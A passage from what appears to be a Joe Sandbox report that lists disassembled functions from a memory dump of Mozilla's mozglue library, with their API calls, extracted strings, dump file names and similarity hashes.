Instruction ID: 21569ca221915ea2ac289fadb8f6eb004aead75194eb2ce79b887162582dc3e7
Opcode Fuzzy Hash: d23a916a3198b3c70aaa86c0ea3a04479fb08d9b28de938dd7a2128c53386ee6
Instruction Fuzzy Hash: B0A1B03060C3419FDB20DF28C68475ABBF1AF89788F148C1DE9A9D7642D731E916CB92

Function 6C929D00 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C928273), ref: 6C929D65
free.MOZGLUE(6C928273,?), ref: 6C929D7C
free.MOZGLUE(?,?), ref: 6C929D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C929E0F
free.MOZGLUE(6C92946B,?,?), ref: 6C929E24
free.MOZGLUE(?,?,?), ref: 6C929E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C929EC8
free.MOZGLUE(6C92946B,?,?,?), ref: 6C929EDF
free.MOZGLUE(?,?,?,?), ref: 6C929EF5

Strings

KpT{/, xrefs: 6C929D0E

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID: KpT{/
API String ID: 956590011-2391877073
Opcode ID: d2a1dd0543c88d9d95db7e811319b5b8523e2b0bf899545d61b6bad422e3bb8f
Instruction ID: 3829d6c6316576c631e10fba9b05be0593af608b54d3b60db61449dce8a6e484
Opcode Fuzzy Hash: d2a1dd0543c88d9d95db7e811319b5b8523e2b0bf899545d61b6bad422e3bb8f
Instruction Fuzzy Hash: A371CFB0909B418BD712CF18C58055BF7F4FF99314B459A2DE89A5BB06EB30E886CBC1

Function 6C8FC769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C8FC784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C8FC801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6C8FC83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C8FC891

Strings

nan, xrefs: 6C8FC7A8
INF, xrefs: 6C8FC794
inf, xrefs: 6C8FC78F
NAN, xrefs: 6C8FC7AD

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: 870aa4f20fdc3a0ff6cd4a2d04937881758d37f8647b232bf3dd9158b1fca5e8
Instruction ID: b9c604495eeefc2a88ae2910332ce6effde402e572bdae405f279712d6087919
Opcode Fuzzy Hash: 870aa4f20fdc3a0ff6cd4a2d04937881758d37f8647b232bf3dd9158b1fca5e8
Instruction Fuzzy Hash: C651937050C7448BD720EF2CC58129AFBF0BF9A358F408E2DE9E597651E770D9858B42

Function 6C90F2B0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 140COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C90D9DB), ref: 6C90F2D2
GetModuleHandleW.KERNEL32(ntdll.dll,00000000), ref: 6C90F2F5
moz_xmalloc.MOZGLUE(?,?,00000000), ref: 6C90F386
moz_xmalloc.MOZGLUE(00000008,00000000), ref: 6C90F347

Part of subcall function 6C8ECA10: malloc.MOZGLUE(?), ref: 6C8ECA26

moz_xmalloc.MOZGLUE(00000008,00000000), ref: 6C90F3C8
free.MOZGLUE(00000000,00000000), ref: 6C90F3F3
free.MOZGLUE(00000000,00000000), ref: 6C90F3FC
free.MOZGLUE(00000000,?,?,00000000), ref: 6C90F413

Strings

KpT{/, xrefs: 6C90F2B9
ntdll.dll, xrefs: 6C90F2F0

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: freemoz_xmalloc$HandleModule$malloc
String ID: KpT{/$ntdll.dll
API String ID: 301460908-2219018089
Opcode ID: a45f49e897bbf30b8d4b0a6b5bf5a02ad4810674b1401b0c239f9addf1420782
Instruction ID: 75e289646a8279d3cdf54a5048ce07345c12e6212e56b75394abd1a9c500cb0d
Opcode Fuzzy Hash: a45f49e897bbf30b8d4b0a6b5bf5a02ad4810674b1401b0c239f9addf1420782
Instruction Fuzzy Hash: 064123B1F042048BDB14CF68E84579EB7B9EF453ACF64442DD92A97B81EB30E509C785

Function 6C92AB90 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 135threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C92ABB4
AcquireSRWLockExclusive.KERNEL32(6C8E4A63), ref: 6C92ABC0
ReleaseSRWLockExclusive.KERNEL32 ref: 6C92AC06
GetCurrentThreadId.KERNEL32 ref: 6C92AC16
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C92AC27
ReleaseSRWLockExclusive.KERNEL32 ref: 6C92AC66
free.MOZGLUE(?), ref: 6C92AD19
free.MOZGLUE(00000000), ref: 6C92AD2B
?_Xbad_function_call@std@@YAXXZ.MSVCP140(00000000), ref: 6C92AD38

Strings

KpT{/, xrefs: 6C92ABA0

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree$Xbad_function_call@std@@
String ID: KpT{/
API String ID: 2167474191-2391877073
Opcode ID: d88cd769a4e143591ea02895c290fe550f4d268ee5dab022b8d1bf74eb05bb48
Instruction ID: 68295b6759fc890cb569bf06fb24a90d8277cb167936f0d071d7952d8d8cb6c6
Opcode Fuzzy Hash: d88cd769a4e143591ea02895c290fe550f4d268ee5dab022b8d1bf74eb05bb48
Instruction Fuzzy Hash: 52513475614B018FC724CF25C48876ABBF5BF89724F604A2DD4AA87B54DB34E848CB81

Function 6C92CB30 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 129COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PBDHH@Z.MSVCP140(00000000,00000002,00000040,?,?,6C92BCAE,?,?,6C91DC2C), ref: 6C92CB52
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,?,6C92BCAE,?,?,6C91DC2C), ref: 6C92CB82
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,?,6C92BCAE,?,?,6C91DC2C), ref: 6C92CB8D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,6C92BCAE,?,?,6C91DC2C), ref: 6C92CBA4
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,?,6C92BCAE,?,?,6C91DC2C), ref: 6C92CBC4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,?,6C92BCAE,?,?,6C91DC2C), ref: 6C92CBE9
std::_Facet_Register.LIBCPMT ref: 6C92CBFB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,?,6C92BCAE,?,?,6C91DC2C), ref: 6C92CC20
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,6C92BCAE,?,?,6C91DC2C), ref: 6C92CC65

Strings

KpT{/, xrefs: 6C92CB39

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID: KpT{/
API String ID: 2325513730-2391877073
Opcode ID: 89769c53453b2adda6f804d5f270612143c9b104455150ef678eeeb689b97ec5
Instruction ID: f84f63d15652f307654619fd0b43bbd6ca3c302ce17011cc28051620e1515237
Opcode Fuzzy Hash: 89769c53453b2adda6f804d5f270612143c9b104455150ef678eeeb689b97ec5
Instruction Fuzzy Hash: 1F41D2757042048FEB00EF69C8C8AAD77B9FF89354F544068E94A9B781DB39EC05CB91

Function 6C935D10 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C935C8C,?,6C90E829), ref: 6C935D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C935C8C,?,6C90E829), ref: 6C935D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C935C8C,?,6C90E829), ref: 6C935D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C935C8C,?,6C90E829), ref: 6C935D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C935C8C,?,6C90E829), ref: 6C935DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C935C8C,?,6C90E829), ref: 6C935DC9
std::_Facet_Register.LIBCPMT ref: 6C935DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C935C8C,?,6C90E829), ref: 6C935E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C935C8C,?,6C90E829), ref: 6C935E45

Strings

KpT{/, xrefs: 6C935D19

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID: KpT{/
API String ID: 2325513730-2391877073
Opcode ID: 4705e542ab27ed133e3994ee7d8ef5ebd845a87e8c173906116a7a199a496ae9
Instruction ID: c239effbc1c5eb8ef3fab12552607af2eec583de5be041e384cae22a25b096d1
Opcode Fuzzy Hash: 4705e542ab27ed133e3994ee7d8ef5ebd845a87e8c173906116a7a199a496ae9
Instruction Fuzzy Hash: C841AC707042149FDB00EF65C8D8AAE77B9EF8D318F644068E51A9B781EB34E805CBA0

Function 6C936A10 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 115stringCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C95F618), ref: 6C936A68
GetCurrentProcess.KERNEL32 ref: 6C936A7D
GetCurrentProcess.KERNEL32 ref: 6C936AA1
EnterCriticalSection.KERNEL32(6C95F618), ref: 6C936AAE
strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C936AE1
strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C936B15
strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C936B65
LeaveCriticalSection.KERNEL32(6C95F618,?,?), ref: 6C936B83

Strings

KpT{/, xrefs: 6C936A22
SymInitialize, xrefs: 6C936BA3

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: CriticalSectionstrncpy$CurrentProcess$EnterInitializeLeave
String ID: KpT{/$SymInitialize
API String ID: 3103739362-2726419904
Opcode ID: 65c4a86aa85e114ebceece6d4ee1e04e3c3a76e3a134620f6f95ab4d536d43e2
Instruction ID: 7909b032caf77b38cf8bf6803b10951babf2ab5c61773e11f8ed88d6fa6714c7
Opcode Fuzzy Hash: 65c4a86aa85e114ebceece6d4ee1e04e3c3a76e3a134620f6f95ab4d536d43e2
Instruction Fuzzy Hash: B44180717093489FDF01CF74C888B9A3BB8BB56318F584479ED48DB682DB719518CBA1

Function 6C8E9620 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C8E9675
__Init_thread_footer.LIBCMT ref: 6C8E9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C8E96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C8E9707
__Init_thread_footer.LIBCMT ref: 6C8E971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C8E9773

Part of subcall function 6C90AB89: EnterCriticalSection.KERNEL32(6C95E370,?,?,?,6C8D34DE,6C95F6CC,?,?,?,?,?,?,?,6C8D3284), ref: 6C90AB94
Part of subcall function 6C90AB89: LeaveCriticalSection.KERNEL32(6C95E370,?,6C8D34DE,6C95F6CC,?,?,?,?,?,?,?,6C8D3284,?,?,6C8F56F6), ref: 6C90ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C8E97B7
FreeLibrary.KERNEL32 ref: 6C8E97D0
FreeLibrary.KERNEL32 ref: 6C8E97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C8E9824

Strings

MapViewOfFileNuma2, xrefs: 6C8E97B1
KpT{/, xrefs: 6C8E959E, 6C8E9632
ntdll.dll, xrefs: 6C8E96E3
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C8E9670
NtMapViewOfSection, xrefs: 6C8E9701

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$KpT{/$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3252272472
Opcode ID: 2edfd8d1c805630b2c2f7fb5dd6ae02d4bf7a718cd00ff5bba2935009efa74ba
Instruction ID: 408879b8b77c973665adb4b8ed24e4dd4efd3a676294444e9f25136cd089d028
Opcode Fuzzy Hash: 2edfd8d1c805630b2c2f7fb5dd6ae02d4bf7a718cd00ff5bba2935009efa74ba
Instruction Fuzzy Hash: D441BFB17042059FDF10DFA5E984E967BB4EB4A728FA04529ED0597740D770E818CBE1

Function 6C91EB90 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 66threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C919420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C8E4A68), ref: 6C91945E
Part of subcall function 6C919420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C919470
Part of subcall function 6C919420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C919482
Part of subcall function 6C919420: __Init_thread_footer.LIBCMT ref: 6C91949F

GetCurrentThreadId.KERNEL32 ref: 6C91EBA4
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000), ref: 6C91EBAC

Part of subcall function 6C9194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9194EE
Part of subcall function 6C9194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C919508

GetCurrentThreadId.KERNEL32 ref: 6C91EBC1
AcquireSRWLockExclusive.KERNEL32(6C95F4B8,?,?,00000000), ref: 6C91EBCE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000,?,?,00000000), ref: 6C91EBE5
ReleaseSRWLockExclusive.KERNEL32(6C95F4B8,00000000), ref: 6C91EC37
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C91EC46
CloseHandle.KERNEL32(?), ref: 6C91EC55
free.MOZGLUE(00000000), ref: 6C91EC5C

Strings

KpT{/, xrefs: 6C91E8BE
[I %d/%d] baseprofiler_save_profile_to_file(%s), xrefs: 6C91EA9B
[I %d/%d] profiler_start, xrefs: 6C91EBB4

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectReleaseSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: KpT{/$[I %d/%d] baseprofiler_save_profile_to_file(%s)$[I %d/%d] profiler_start
API String ID: 4250961200-4167579781
Opcode ID: 688fd23419c08be56deed987fd63003058df7e144d74129031944e73a6164013
Instruction ID: fb4bacb26e50016a9a08ca537327d402c979eac9f36df3177d94d9a4fe2224a0
Opcode Fuzzy Hash: 688fd23419c08be56deed987fd63003058df7e144d74129031944e73a6164013
Instruction Fuzzy Hash: 5F11D271A082189BCF019F64D80DA9A7B79EF5637CFA44220FD1997F80D731D8198BE1

Function 6C8D4480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C914843,?), ref: 6C8D45F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C914843,?), ref: 6C8D468A
free.MOZGLUE(?,?,?,?,?,?,6C914843,?), ref: 6C8D46C9
free.MOZGLUE(?), ref: 6C8D46EF
free.MOZGLUE(?), ref: 6C8D4712
free.MOZGLUE(?), ref: 6C8D4735
free.MOZGLUE(?), ref: 6C8D4758
free.MOZGLUE(?), ref: 6C8D477B
free.MOZGLUE(?), ref: 6C8D479E

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 6ab2eb2857746b8eb6dd00b9835280dd1c05a0352a9e1d61e5c4642bb7ec9c9e
Instruction ID: cc9d277a10e3ddb3c866dc9cbaca2e8e2504cbd77f77e274351adf31e82442b3
Opcode Fuzzy Hash: 6ab2eb2857746b8eb6dd00b9835280dd1c05a0352a9e1d61e5c4642bb7ec9c9e
Instruction Fuzzy Hash: C4B1E771A001548FDB249F7CDAD076D76B2AFC2324F1A4E39E416DBB86D731E8808B41

Function 6C8D1E90 Relevance: 16.6, APIs: 9, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C95E784), ref: 6C8D1EC1
LeaveCriticalSection.KERNEL32(6C95E784), ref: 6C8D1EE1
EnterCriticalSection.KERNEL32(6C95E744), ref: 6C8D1F38
LeaveCriticalSection.KERNEL32(6C95E744), ref: 6C8D1F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C8D1F83
LeaveCriticalSection.KERNEL32(6C95E784), ref: 6C8D1FC0
EnterCriticalSection.KERNEL32(6C95E784), ref: 6C8D1FE2
LeaveCriticalSection.KERNEL32(6C95E784), ref: 6C8D1FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C8D2019

Strings

KpT{/, xrefs: 6C8D1E9C
MOZ_CRASH(), xrefs: 6C8D2000

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: KpT{/$MOZ_CRASH()
API String ID: 2055633661-540122016
Opcode ID: fc1f61d2f1879ff66200cf9591050a8ff83c74a8258298f461eacdc92a6654b4
Instruction ID: 55e038a89c92461c98cf8d3a8d14ca84e1c279b49510fb285c28426b1322308f
Opcode Fuzzy Hash: fc1f61d2f1879ff66200cf9591050a8ff83c74a8258298f461eacdc92a6654b4
Instruction Fuzzy Hash: 78412171B093198FDF108F78C888BAA3BB5EF59718F650429E90497740DBB6E8048BD2

Function 6C8D78C0 Relevance: 16.1, APIs: 8, Strings: 1, Instructions: 320COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,6C95008B), ref: 6C8D7B89
free.MOZGLUE(?,6C95008B), ref: 6C8D7BAC

Part of subcall function 6C8D78C0: free.MOZGLUE(?,6C95008B), ref: 6C8D7BCF

free.MOZGLUE(?,6C95008B), ref: 6C8D7BF2

Part of subcall function 6C8F5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C8F5EDB
Part of subcall function 6C8F5E90: memset.VCRUNTIME140(6C937765,000000E5,55CCCCCC), ref: 6C8F5F27
Part of subcall function 6C8F5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C8F5FB2

Strings

KpT{/, xrefs: 6C8D78CF

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: free$CriticalSection$EnterLeavememset
String ID: KpT{/
API String ID: 3977402767-2391877073
Opcode ID: 18f7f63b562ebfe7541e51ba5a6647ec8f6de9e02a174be7b7e569e028d4c3f9
Instruction ID: 67cae20512a9ae01eb24580c231214fb778982598e00e42198fba924cd407242
Opcode Fuzzy Hash: 18f7f63b562ebfe7541e51ba5a6647ec8f6de9e02a174be7b7e569e028d4c3f9
Instruction Fuzzy Hash: 41C1A731D011288FEB348B28DE90B9DB772AF41314F164AA9D51AE7BC8D731BE858B51

Function 6C91DBB0 Relevance: 16.0, APIs: 7, Strings: 2, Instructions: 207threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C919420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C8E4A68), ref: 6C91945E
Part of subcall function 6C919420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C919470
Part of subcall function 6C919420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C919482
Part of subcall function 6C919420: __Init_thread_footer.LIBCMT ref: 6C91949F

GetCurrentThreadId.KERNEL32 ref: 6C91DBE1
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C91DBE9

Part of subcall function 6C9194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9194EE
